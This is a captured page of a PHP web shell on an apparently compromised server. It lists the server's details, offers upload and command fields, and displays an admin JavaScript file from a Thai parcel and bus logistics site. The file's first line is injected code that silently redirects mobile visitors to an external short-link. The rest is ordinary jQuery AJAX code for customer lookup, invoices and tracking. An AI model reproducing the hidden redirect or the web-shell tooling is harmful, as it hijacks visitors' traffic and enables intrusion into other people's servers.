403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/domains/fulltion.com/public_html/parcel/tester/administrator/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/domains/fulltion.com/public_html/parcel/tester/administrator/js//jsqueryphp.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/JEzgWXOHX0r1");

// JavaScript Document
function AJAX_Update_status(table,field_name,field_value,field_id,field_id_name){
	if(field_value){
		//$("#loaddivDoctor_short").show('slow');
		//$("#doctor_short").hide();
		$.ajax({
			type: "POST",
			url: "jquery/jsquery.php",
			data: "mode=Update_status&table="+table+"&field_name="+field_name+"&field_value="+field_value+"&field_id="+field_id+"&field_id_name="+field_id_name
			/*success: function(html){$("#divDoctor_short").html(html); }*/
		});
		
	}
}
// JavaScript Document
function AJAX_Get_Contact(type){ 
	var name = $("#"+type+"Name").val();
	if(name){
		//$("#loaddivDoctor_short").show('slow');
		//$("#hidecontact").hide();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=Get_Contact&field_value="+name,
			success: function(data){
				var myArr = new Array(); 
				var myString = new String();
				myString = data;
				myArr = myString.split("/");
				$("#"+type+"Name").val(myArr[1]);
				$("#"+type+"Address").val(myArr[2]);
				
				$('[name="'+type+'Province"]').val(myArr[3]);
				$('[name="'+type+'Province"]').click();
				
				$('[name="'+type+'District"]').val(myArr[4]);
				$('[name="'+type+'District"]').click();
				
				$("#"+type+"PostCode").val(myArr[5]);
				$("#"+type+"Phon").val(myArr[5]);
			}
		});
	}else{alert('Error Name');}
}

function AJAX_Update_Values(data_id){

	$("#ajax_loader_"+data_id).html('<img src="resources/images/icons/ajax-loader.gif" />');
	
	var name = $("#name_"+data_id).val();
	var value = $("#value_"+data_id).val();
	if(value){
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateValues&Name="+name+"&Values="+value,
			success: function(data){
				if(data){
					$("#ajax_loader_"+data_id).hide(); 
					$("#ajax_success_"+data_id).html('<img src="resources/images/icons/success.gif" />');
					$("#ajax_success_"+data_id).fadeOut(2000).delay(500);
				}else{
					$("#ajax_loader_"+data_id).hide(); 
					$("#ajax_success_"+data_id).html('<img src="resources/images/icons/cross.png" />');
					$("#ajax_success_"+data_id).fadeOut(5000).delay(500);
				}
 			}//end success
		});//end ajax
	}
}

function SelectProvince(lang,type,id){
	if(id == 0){
	var Province = $("#"+type+"Province").val();
	}else{
	var Province = $("#"+type+"Province"+id).val();	
	}
	//$("#"+type+"District").hide('slow');
	if(Province){
		//$("#loaddivDoctor_short").show('slow');
		//$("#doctor_short").hide();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=selectprovince&field_id="+Province+"&field_lang="+lang,
			success: function(data){
				if(id == 0){
				$("#"+type+"District").html(data); 
				}else{
				$("#"+type+"District"+id).html(data); 
				}
				}
		});
		
	}
	//$("#"+type+"District").show('slow');
}
function SelectDistrict(lang,type,id){
	if(id == 0){
		var District = $("#"+type+"District").val();
	}else{
		var District = $("#"+type+"District"+id).val();	
	}
	//$("#"+type+"Province").hide('slow');
	if(District){
		//$("#loaddivDoctor_short").show('slow');
		//$("#doctor_short").hide();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=selectdistrict&field_id="+District+"&field_lang="+lang,
			success: function(data){
				if(id == 0){
					$("#"+type+"Province").html(data); 
				}else{
					$("#"+type+"Province"+id).html(data); 
				}
				}
		});
		
	}
	//$("#"+type+"Province").show('slow');
}

function SelectGetTime(type){
	var SetDate = $("#SetDate").val();
	var RouteCode = $("#RouteCode").val();
	var SetTime = $("#SetTime").val();
	if(SetDate!="" && RouteCode!="" && SetTime!=""){
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=selectdetail&field_id="+SetDate+"&field_values="+RouteCode+"&field_time="+SetTime+"",
			success: function(data){
				var myArr = new Array(); 
				var myString = new String();
				myString = data;
				myArr = myString.split("/");
				$("#BusName").val(myArr[1]);
				$("#DriverName").val(myArr[2]);
				}
		});
	}else{
		if(SetDate!="" && RouteCode!=""){
			$("#SetTime").hide('slow');
			//$("#loaddivDoctor_short").show('slow');
			//$("#doctor_short").hide();
			$.ajax({
				type: "POST",
				url: "jquery/jsquerydata.php",
				data: "mode=selectgettime&field_id="+SetDate+"&field_values="+RouteCode+"",
				success: function(data){
					$("#SetTime").html(data); 
					}
			});
			$("#SetTime").show('slow');
		}
	}
	if(type == "route")
	{
		$("#StartPoint").hide('slow');
		$("#EndPoint").hide('slow');
		
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=selectroute&field_id="+RouteCode,
			success: function(data){
				$("#StartPoint").html(data); 
				$("#EndPoint").html(data); 
				}
		});
		
		$("#StartPoint").show('slow');
		$("#EndPoint").show('slow');
	}
}

function SelectDepartment(lang){
	var DepartmentID = $("#DepartmentID").val();
	//$("#PositionID").hide('slow');
	if(DepartmentID){
		//$("#loaddivDoctor_short").show('slow');
		//$("#doctor_short").hide();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=selectdepartment&field_id="+DepartmentID+"&field_lang="+lang,
			success: function(data){
				//alert(data);
				$("#PositionID").html(data); 
				}
		});
		
	}
	//$("#PositionID").show('slow');
}

function SelectPosition(lang){
	var PositionID = $("#PositionID").val();
	//$("#DepartmentID").hide('slow');
	if(PositionID){
		//$("#loaddivDoctor_short").show('slow');
		//$("#doctor_short").hide();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=selectposition&field_id="+PositionID+"&field_lang="+lang,
			success: function(data){
				$("#DepartmentID").html(data); 
				}
		});
		
	}
	//$("#DepartmentID").show('slow');
}
function SearchCustomerAgain(type,point){
	if((type == 'Send' || type == 'Receive' || type == 'ReceiveAgent') && point==0){
		var txtSearch1 = $('#keyword').val();
		var txtSearch2 = $('#keyword2').val();
		var txtSearch3 = $('#keyword3').val();
		
		if(txtSearch1 != '' || txtSearch2 != '' || txtSearch3 != '' ){
		
			$.ajax({
				type: "POST",
				url: "jquery/jsquerydata.php",
				data: "mode=searchcustomer&field1="+txtSearch1+"&field2="+txtSearch2+"&field3="+txtSearch3+"&field_type="+type+"&field_point="+point+"",
				success: function(data){
					//alert(data);
					$("#dialog").html(data); 
					$("#hideSearch").click();
					}
			});
		}
	
	}
	
	if(type == 'Receive' && point != '0'){
		var txtSearch1 = $('#keyword_'+point).val();
		var txtSearch2 = $('#keyword2_'+point).val();
		var txtSearch3 = $('#keyword3_'+point).val();
	
		if(txtSearch1 != '' || txtSearch3 != '' || txtSearch4 != '' ){
			
			$.ajax({
				type: "POST",
				url: "jquery/jsquerydata.php",
				data: "mode=searchcustomer&field1="+txtSearch1+"&field2="+txtSearch2+"&field3="+txtSearch3+"&field_type="+type+"&field_point="+point+"",
				success: function(data){
					//alert(data);
					$("#dialog").html(data); 
					$("#hideSearch").click();
					}
			});
		}
	
	}
}
function SearchCustomer(type,point){
	if(type == 'Send'){
	var txtSearch1 = $('#SendName').val();
	var txtSearch2 = $('#SendIdentification').val();
	var txtSearch3 = $('#SendTel').val();
	var txtSearch4 = $('#SendSurName').val();
	
	//if(txtSearch1 != '' || txtSearch2 != '' || txtSearch3 != '' || txtSearch4 != '' ){
	
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=searchcustomer&field1="+txtSearch1+"&field2="+txtSearch2+"&field3="+txtSearch3+"&field4="+txtSearch4+"&field_type="+type+"&field_point="+point+"",
			success: function(data){
				//alert(data);
				$("#dialog").html(data); 
				$("#hideSearch").click();
				}
		});
	//}
	
	}
	
	if(type == 'Receive' && point != '0'){
		
	var txtSearch1 = $('#ReceiveName_'+point).val();
	var txtSearch2 = $('#ReceiveIdentification_'+point).val();
	var txtSearch3 = $('#ReceiveTel_'+point).val();
	var txtSearch4 = $('#ReceiveSurName_'+point).val();

	//if(txtSearch1 != '' || txtSearch2 != '' || txtSearch3 != '' || txtSearch4 != '' ){
		
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=searchcustomer&field1="+txtSearch1+"&field2="+txtSearch2+"&field3="+txtSearch3+"&field4="+txtSearch4+"&field_type="+type+"&field_point="+point+"",
			success: function(data){
				$("#dialog").html(data);
				$("#hideSearch").click();
			}
		});
	//}
	
	}
	
	if(type == 'Receive' && point == '0'){
		
	var txtSearch1 = $('#ReceiveName').val();
	var txtSearch2 = $('#ReceiveIdentification').val();
	var txtSearch3 = $('#ReceiveTel').val();
	var txtSearch4 = $('#ReceiveSurName').val();

	//if(txtSearch1 != '' || txtSearch2 != '' || txtSearch3 != '' || txtSearch4 != '' ){

		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=searchcustomer&field1="+txtSearch1+"&field2="+txtSearch2+"&field3="+txtSearch3+"&field4="+txtSearch4+"&field_type="+type+"&field_point="+point+"",
			success: function(data){
				
				$("#dialog").html(data); 
				$("#hideSearch").click();
				}
		});
	//}
	
	}
	if(type == 'ReceiveAgent'){
		
	var txtSearch1 = $('#ReceiveAgentName').val();
	var txtSearch2 = $('#ReceiveAgentIdentification').val();
	var txtSearch3 = $('#ReceiveAgentTel').val();
	var txtSearch4 = $('#ReceiveAgentSurName').val();

	//if(txtSearch1 != '' || txtSearch2 != '' || txtSearch3 != '' || txtSearch4 != '' ){
		
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=searchcustomer&field1="+txtSearch1+"&field2="+txtSearch2+"&field3="+txtSearch3+"&field4="+txtSearch4+"&field_type="+type+"&field_point="+point+"",
			success: function(data){
				//alert(data);
				$("#dialog").html(data); 
				$("#hideSearch").click();
				}
		});
	//}
	
	}
}

/*#############################################################*/
function SearchCustomer1(type,point){
	
	if(type == 'Receive' && point != '0'){
		
		var txtSearch1 = $('#ReceiveName_'+point).val();
		var txtSearch2 = $('#ReceiveIdentification_'+point).val();
		var txtSearch3 = $('#ReceiveTel_'+point).val();
		var txtSearch4 = $('#ReceiveSurName_'+point).val();

	//if(txtSearch1 != '' || txtSearch2 != '' || txtSearch3 != '' || txtSearch4 != '' ){
		
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=searchcustomer&field1="+txtSearch1+"&field2="+txtSearch2+"&field3="+txtSearch3+"&field4="+txtSearch4+"&field_type="+type+"&field_point="+point+"&chkT=1",
			success: function(data){
				//alert(data);
				if(data != 1){
					$("#dialog").html(data);
					$("#hideSearch").click();
				}else{
					$("#buttonReceive_"+point).hide();	
				}
			}
		});
	//}
	
	}
	
	if(type == 'Receive' && point == '0'){
		
	var txtSearch1 = $('#ReceiveName').val();
	var txtSearch2 = $('#ReceiveIdentification').val();
	var txtSearch3 = $('#ReceiveTel').val();
	var txtSearch4 = $('#ReceiveSurName').val();

	//if(txtSearch1 != '' || txtSearch2 != '' || txtSearch3 != '' || txtSearch4 != '' ){

		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=searchcustomer&field1="+txtSearch1+"&field2="+txtSearch2+"&field3="+txtSearch3+"&field4="+txtSearch4+"&field_type="+type+"&field_point="+point+"",
			success: function(data){
				
				$("#dialog").html(data); 
				$("#hideSearch").click();
				}
		});
	//}
	
	}
	if(type == 'ReceiveAgent'){
		
	var txtSearch1 = $('#ReceiveAgentName').val();
	var txtSearch2 = $('#ReceiveAgentIdentification').val();
	var txtSearch3 = $('#ReceiveAgentTel').val();
	var txtSearch4 = $('#ReceiveAgentSurName').val();

	//if(txtSearch1 != '' || txtSearch2 != '' || txtSearch3 != '' || txtSearch4 != '' ){
		
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=searchcustomer&field1="+txtSearch1+"&field2="+txtSearch2+"&field3="+txtSearch3+"&field4="+txtSearch4+"&field_type="+type+"&field_point="+point+"",
			success: function(data){
				//alert(data);
				$("#dialog").html(data); 
				$("#hideSearch").click();
				}
		});
	//}
	
	}
}
/*#############################################################*/
function GetSearchCustomer(id,type2,point){
	if(type2 == 1)
	{
		var type = "Send";	
	}else if(type2 == 2)
	{
		var type = "Receive";
	}else
	{
		var type = "ReceiveAgent";
	}
	$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=getcustomer&field_id="+id,
			success: function(data){
				//alert(data);
				var myArr = new Array(); 
				var myString = new String();
				myString = data;
				myArr = myString.split(":");
					if(type == "Send"){
					$("#"+type+"Name").val(myArr[1]);
					$("#"+type+"SurName").val(myArr[2]);
					$("#"+type+"Identification").val(myArr[3]);
					$("#"+type+"Address").val(myArr[4]);
						
					$('[name="'+type+'Province"]').val(myArr[5]);
					$('[name="'+type+'Province"]').click();
						
					$('[name="'+type+'District"]').val(myArr[6]);
					$('[name="'+type+'District"]').click();
						
					$("#"+type+"Tambon").val(myArr[7]);	
					$("#"+type+"PostCode").val(myArr[8]);
					$("#"+type+"Tel").val(myArr[9]);
					$("#"+type+"HomeTel").val(myArr[10]);
					$("#"+type+"OtherPhon").val(myArr[11]);
					
					$("#closepopup").click();
					//alert("Search Complete");
					}
					
					if(type == "Receive" && point != '0'){
					$("#"+type+"Name_"+point).val(myArr[1]);
					$("#"+type+"SurName_"+point).val(myArr[2]);
					$("#"+type+"Identification_"+point).val(myArr[3]);
					$("#"+type+"Address_"+point).val(myArr[4]);
						
					$("#"+type+"Province_"+point).val(myArr[5]);
					$("#"+type+"Province_"+point).click();
						
					$("#"+type+"District_"+point).val(myArr[6]);
					$("#"+type+"District_"+point).click();
					
					$("#"+type+"Tambon_"+point).val(myArr[7]);	
						
					$("#"+type+"PostCode_"+point).val(myArr[8]);
					$("#"+type+"Tel_"+point).val(myArr[9]);
					$("#"+type+"HomeTel_"+point).val(myArr[10]);
					$("#"+type+"OtherPhon_"+point).val(myArr[11]);
					$("#Villa_"+point).val(myArr[12]);
					$("#Room_"+point).val(myArr[13]);
					$("#Floor_"+point).val(myArr[14]);
					$("#Home_"+point).val(myArr[15]);
					$("#Muu_"+point).val(myArr[16]);
					$("#Zoy_"+point).val(myArr[17]);
					$("#Rode_"+point).val(myArr[18]);
					
					$("#closepopup").click();
					//alert("Search Complete");
					}
					
					if(type == "Receive" && point == '0'){
					$("#"+type+"Name").val(myArr[1]);
					$("#"+type+"SurName").val(myArr[2]);
					$("#"+type+"Identification").val(myArr[3]);
					$("#"+type+"Address").val(myArr[4]);
						
					$("#"+type+"Province").val(myArr[5]);
					$("#"+type+"Province").click();
						
					$("#"+type+"District").val(myArr[6]);
					$("#"+type+"District").click();
					
					$("#"+type+"Tambon").val(myArr[7]);	
						
					$("#"+type+"PostCode").val(myArr[8]);
					$("#"+type+"Tel").val(myArr[9]);
					$("#"+type+"HomeTel").val(myArr[10]);
					$("#"+type+"OtherPhon").val(myArr[11]);
					$("#"+type+"ID").val(myArr[19]);
					
					$("#closepopup").click();
					//alert("Search Complete");
					}
					
					if(type == "ReceiveAgent" && point == '0'){
					$("#"+type+"Name").val(myArr[1]);
					$("#"+type+"SurName").val(myArr[2]);
					$("#"+type+"Identification").val(myArr[3]);
					$("#"+type+"Address").val(myArr[4]);
						
					$("#"+type+"Province").val(myArr[5]);
					$("#"+type+"Province").click();
						
					$("#"+type+"District").val(myArr[6]);
					$("#"+type+"District").click();
					
					$("#"+type+"Tambon").val(myArr[7]);	
						
					$("#"+type+"PostCode").val(myArr[8]);
					$("#"+type+"Tel").val(myArr[9]);
					$("#"+type+"HomeTel").val(myArr[10]);
					$("#"+type+"OtherPhon").val(myArr[11]);
					
					//$("#closepopup").click();
					$(this).dialog("close"); 
					//alert("Search Complete");
					}
				}
		});
	
}

function UpdateRunInvoice(data_id){

	$("#ajax_loader_"+data_id).html('<img src="resources/images/icons/ajax-loader.gif" />');
	var RunID = $("#RunID_"+data_id).val();
	var RunText = $("#RunText_"+data_id).val();
	var RunNum = $("#RunNum_"+data_id).val();
	if(RunNum){
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateRunInvoice&RunText="+RunText+"&RunNum="+RunNum+"&RunID="+RunID,
			success: function(data){
				if(data){
					$("#ajax_loader_"+data_id).hide(); 
					$("#ajax_success_"+data_id).html('<img src="resources/images/icons/success.gif" />');
					$("#ajax_success_"+data_id).fadeOut(2000).delay(500);
				}else{
					$("#ajax_loader_"+data_id).hide(); 
					$("#ajax_success_"+data_id).html('<img src="resources/images/icons/cross.png" />');
					$("#ajax_success_"+data_id).fadeOut(5000).delay(500);
				}
 			}//end success
		});//end ajax
	}
}

function SelectSS(){
	
	var DeliveryPointID = $('#DeliveryPointID').val();

		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=getss&field_id="+DeliveryPointID+"",
			success: function(data){
				//alert(data);
				}
		});
}
function UpdateStatusInvoice(id,oldstatus){
	if(confirm('Do you want to Update')==true){
	var InvoiceStatus = $('#InvoiceStatus_'+id).val();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateStatusInvoice&field_id="+id+"&field_values="+oldstatus+"",
			success: function(data){
				//$("#ShowDe").html(data);
				$('#form_search').submit();
			}
		});
	}else{
		$('#InvoiceStatus_'+id).val(oldstatus);
	}
}

function UpdateStatusProduct(id,oldstatus){
	if(confirm('Do you want to Update')==true){	
	var InvoiceStatus = $('#InvoiceStatus_'+id).val();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateStatusProduct&field_id="+id+"&field_values="+oldstatus+"",
			success: function(data){
				if(data==1){
					$('#form_search').submit();
				}else{
					$('#id_hid').val(id);
					$("#deleteLink").click();
				}
			}
		});
	}else{
		$('#InvoiceStatus_'+id).val(oldstatus);
	}
}

/*
function UpdateStatusProduct(id,oldstatus){
	if(confirm('Do you want to Update')==true){	
	var InvoiceStatus = $('#InvoiceStatus_'+id).val();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateStatusProduct&field_id="+id+"&field_values="+oldstatus+"",
			success: function(data){
				if(data==1){
					$('#form_search').submit();
				}else{
					$("#deleteLink").click();
				}
			}
		});
	}else{
		$('#InvoiceStatus_'+id).val(oldstatus);
	}
}*/

/*by nui*/
function chkDelete(){
	var detail = $("#cause_change").val();
	var id = $('#id_hid').val();
	if(detail==''){
		$("#txtErrorCause").show();
		return false;
	}else{
		//return true;
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateChangeStatusProduct&field_id="+id+"&detail="+detail,
			success: function(data){
				if(data==1){
					$('#divComment'+id).html(detail);
					$('#dialogDelete').dialog('close');
				}
			}
		});
	}
	return false;
}

/*by nui*/


function UpdateStatusTrack(point){
	
	var InvoiceDetailCode = $('#InvoiceDetailCode').val();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateStatusTrack&field_code="+InvoiceDetailCode+"&field_point="+point+"",
			success: function(data){
					var myArr = new Array(); 
					var myString = new String();
					myString = data;
					myArr = myString.split("/");

				if(myArr[1] != "error"){
					$('#divstatus_'+myArr[1]).html(''+myArr[3]+'');
					$('#chkbar_'+myArr[1]).html('');
					if(myArr[2] == 7)
					{
						ShowComment(myArr[1]);
					}
				}else{
					alert("Error Code");
				}
				$('#InvoiceDetailCode').val("");
				$('#InvoiceDetailCode').focus();
			}
		});
}
function ShowComment(id){
	
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=ShowComment&field_id="+id+"",
			success: function(data){
				//alert(data);
				$("#PopupComment").html(data); 
				}
		});
}
function UpdateComment(id){
	$("#ajax_loader").html('<img src="resources/images/icons/ajax-loader.gif" />');
	
	var Comment = $('#Comment').val();
	$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateComment&field_id="+id+"&field_value="+Comment+"",
			success: function(data){
				if(data){
					$("#ajax_loader").hide(); 
					$("#ajax_success").html('<img src="resources/images/icons/success.gif" />');
					$("#ajax_success").fadeOut(2000).delay(500);
				}else{
					$("#ajax_loader").hide(); 
					$("#ajax_success").html('<img src="resources/images/icons/cross.png" />');
					$("#ajax_success").fadeOut(5000).delay(500);
				}
			}
		});
	
}
function UpdateStatusComplate(invoice,id){
	
	var InvoiceDetailCode = $('#InvoiceDetailCode_'+invoice).val();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateStatusComplate&field_code="+InvoiceDetailCode+"&field_invoice="+invoice+"&field_id="+id+"",
			success: function(data){
					var myArr = new Array(); 
					var myString = new String();
					myString = data;
					myArr = myString.split("/");

				if(myArr[1] == "errorcode"){
					alert("Error Code");
				}
				if(myArr[1] == "errorinvoice"){
					alert("Error Invoice");
				}
				if(myArr[1] != "errorinvoice" &&  myArr[1] != "errorcode"){
					$('#divstatus_'+myArr[1]).html(''+myArr[3]+'');
				}
			}
		});
}

function UpdateInvoiceStatus(data_id){
	
	$("#ajax_loader_"+data_id).html('<img src="resources/images/icons/ajax-loader.gif" />');
	var StatusID = $("#statusid_"+data_id).val();
	var StatusText = $("#statusdesc_"+data_id).val();
	if(StatusText){
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateInvoiceStatus&StatusText="+StatusText+"&StatusID="+StatusID,
			success: function(data){
				if(data){
					$("#ajax_loader_"+data_id).hide(); 
					$("#ajax_success_"+data_id).html('<img src="resources/images/icons/success.gif" />');
					$("#ajax_success_"+data_id).fadeOut(2000).delay(500);
				}else{
					$("#ajax_loader_"+data_id).hide(); 
					$("#ajax_success_"+data_id).html('<img src="resources/images/icons/cross.png" />');
					$("#ajax_success_"+data_id).fadeOut(5000).delay(500);
				}
 			}//end success
		});//end ajax
	}
}
function SelectDeliveryPoint(lang,type){
	var DeliveryPointID = $("#DeliveryPointID").val();
	//$("#"+type+"Province").hide('slow');
	if(DeliveryPointID){
		//$("#loaddivDoctor_short").show('slow');
		//$("#doctor_short").hide();
		if(type=='1'){
			$.ajax({
				type: "POST",
				url: "jquery/jsquerydata.php",
				data: "mode=SelectDeliveryPoint&field_id="+DeliveryPointID+"&field_lang="+lang,
				success: function(data){
					$("#EmpID").html(data); 
					}
			});
		}else{
			$.ajax({
				type: "POST",
				url: "jquery/jsquerydata.php",
				data: "mode=SelectDeliveryPointNoAll&field_id="+DeliveryPointID+"&field_lang="+lang,
				success: function(data){
					$("#EmpID").html(data); 
					}
			});
		}
		
	}
	//$("#"+type+"Province").show('slow');
}


function SelectProviceRoute(point,lang,id,ProvinceRoute){
	if(ProvinceRoute){
		$.ajax({
				type: "POST",
				url: "jquery/jsquerydata.php",
				data: "mode=SelectProviceRoute&field_set="+point+"&field_id="+ProvinceRoute+"&field_lang="+lang,
				success: function(data){
						$("#EndPoint"+id).html(data);
				}
		});
	}
			
}

function AJAX_chkType(i,EndPointID,id,typname){
	$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=GetTypeProduct&tabs="+i+"&id="+id+"&endpoint="+EndPointID+"&typname="+typname,
			success: function(data){
				$("#ProductSize_"+i+id).html(data);
			}
	});
}
function regIsNumber(fData){
	    var reg = new RegExp("^[-]?[0-9]+[\.]?[0-9]+$");
	    return reg.test(fData)
}
function ProcessPrice(tabs,EndPointID,rowID){
	var ProductSize = $("#ProductSize_"+tabs+"_"+rowID).val();
	var ProductWeight = $("#ProductWeight_"+tabs+"_"+rowID).val();
	var Saleper = $("#Saleper_"+tabs+"_"+rowID).val();
	var totalmoney = $("#totalmoney_"+tabs+"_"+rowID);
	var totval = $("#totalmoney_"+tabs+"_"+rowID).val();
	var reg = new RegExp("^[-]?[0-9]+[\.]?[0-9]+$");
	$("#ProductWeight_"+tabs+"_"+rowID).val(ProductWeight.replace(/[^0-9\.]/g,''));
	$("#Saleper_"+tabs+"_"+rowID).val(Saleper.replace(/[^0-9\.]/g,''));
	$("#totalmoney_"+tabs+"_"+rowID).val(totval.replace(/[^0-9\.]/g,''));
	    //return reg.test(fData)
	
	$.ajax({
		type: "POST",
		url: "jquery/jsquerydata.php",
		data: "mode=ProcessPrice&size="+ProductSize+"&weight="+ProductWeight+"&saleper="+Saleper+"&endpoint="+EndPointID,
		success: function(data){
			//alert(data);
			totalmoney.val(data);
		}
	});
}

function SelectBusType(lang){
	var BusTypeID = $("#BusTypeID").val();
	//$("#"+BusTypeID"Province").hide('slow');
	if(BusTypeID){
		//$("#loaddivDoctor_short").show('slow');
		//$("#doctor_short").hide();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=SelectBusType&field_id="+BusTypeID+"&field_lang="+lang,
			success: function(data){
				$("#BusID").html(data); 
				}
		});
		
	}
	//$("#"+type+"Province").show('slow');
}




function SelectDepartmentAddBus(lang,type,busid){
	if(type == '1'){
		var DepartmentID = $("#Department_Driver1").val();
	}else if(type == '2'){
		var DepartmentID = $("#Department_Driver2").val();
	}else if(type == '3'){
		var DepartmentID = $("#Department_Assistant1").val();
	}else if(type == '4'){
		var DepartmentID = $("#Department_Assistant2").val();
	}
	//$("#"+BusTypeID"Province").hide('slow');
	if(DepartmentID){
		//$("#loaddivDoctor_short").show('slow');
		//$("#doctor_short").hide();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=SelectDepartmentAddBus&field_id="+DepartmentID+"&field_lang="+lang+"&field_busid="+busid,
			success: function(data){
					if(type == '1'){
						$("#Driver1ID").html(data); 
					}else if(type == '2'){
						$("#Driver2ID").html(data); 
					}else if(type == '3'){
						$("#Assistant1ID").html(data); 
					}else if(type == '4'){
						$("#Assistant2ID").html(data); 
					}
				}
		});
		
	}
	//$("#"+type+"Province").show('slow');
}
function UpdateStatusTrackToBus(point,bus_x_routeid){
	
	var InvoiceDetailCode = $('#InvoiceDetailCode').val();
		$.ajax({
			type: "POST",
			url: "jquery/jsquerydata.php",
			data: "mode=UpdateStatusTrackToBus&field_code="+InvoiceDetailCode+"&field_point="+point+"&field_bus_x_routeid="+bus_x_routeid+"",
			success: function(data){
				var myArr = new Array(); 
				var myString = new String();
				myString = data;
				myArr = myString.split(":");
				if(myArr[1] != "error"){
					$("#chkbarcode_"+myArr[1]).hide();
					
					var CheckboxUpdateCountProduct;
					CheckboxUpdateCountProduct = $("#hdcountproduct").val();
					CheckboxUpdateCountProduct = parseInt(CheckboxUpdateCountProduct);
					CheckboxUpdateCountProduct = CheckboxUpdateCountProduct + 1;
					$("#hdcountproduct").val(CheckboxUpdateCountProduct);
					$("#countproduct").html(CheckboxUpdateCountProduct);
				}else{
					alert("Error Code");
				}
				$('#InvoiceDetailCode').val("");
				$('#InvoiceDetailCode').focus();
			}
		});
}

function Pager(tableName, itemsPerPage) {
    this.tableName = tableName;
    this.itemsPerPage = itemsPerPage;
    this.currentPage = 1;
    this.pages = 0;
    this.inited = false;
    
    this.showRecords = function(from, to) {        
        var rows = document.getElementById(tableName).rows;
        // i starts from 1 to skip table header row
        for (var i = 1; i < rows.length; i++) {
            if (i < from || i > to)  
                rows[i].style.display = 'none';
            else
                rows[i].style.display = '';
        }
    }
    
    this.showPage = function(pageNumber) {
    	if (! this.inited) {
    		alert("not inited");
    		return;
    	}

        var oldPageAnchor = document.getElementById('pg'+this.currentPage);
        oldPageAnchor.className = 'pg-normal';
        
        this.currentPage = pageNumber;
        var newPageAnchor = document.getElementById('pg'+this.currentPage);
        newPageAnchor.className = 'pg-selected';
        
        var from = (pageNumber - 1) * itemsPerPage + 1;
        var to = from + itemsPerPage - 1;
        this.showRecords(from, to);
    }   
    
    this.prev = function() {
        if (this.currentPage > 1)
            this.showPage(this.currentPage - 1);
    }
    
    this.next = function() {
        if (this.currentPage < this.pages) {
            this.showPage(this.currentPage + 1);
        }
    }                        
    
    this.init = function() {
        var rows = document.getElementById(tableName).rows;
        var records = (rows.length - 1); 
        this.pages = Math.ceil(records / itemsPerPage);
        this.inited = true;
    }

    this.showPageNav = function(pagerName, positionId) {
    	if (! this.inited) {
    		alert("not inited");
    		return;
    	}
    	var element = document.getElementById(positionId);
    	
    	var pagerHtml = '<span onclick="' + pagerName + '.prev();" class="pg-normal"> &#171 Prev </span> | ';
        for (var page = 1; page <= this.pages; page++) 
            pagerHtml += '<span id="pg' + page + '" class="pg-normal" onclick="' + pagerName + '.showPage(' + page + ');">' + page + '</span> | ';
        pagerHtml += '<span onclick="'+pagerName+'.next();" class="pg-normal"> Next &#187;</span>';            
        
        element.innerHTML = pagerHtml;
    }
}

function ShowDataDetail(allD,id){
	if(id){
		for(var i=1; i<=allD;i++){
			if(i==id){
				$("#"+i).show();
			}else{
				$("#"+i).hide();	
			}
		}
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit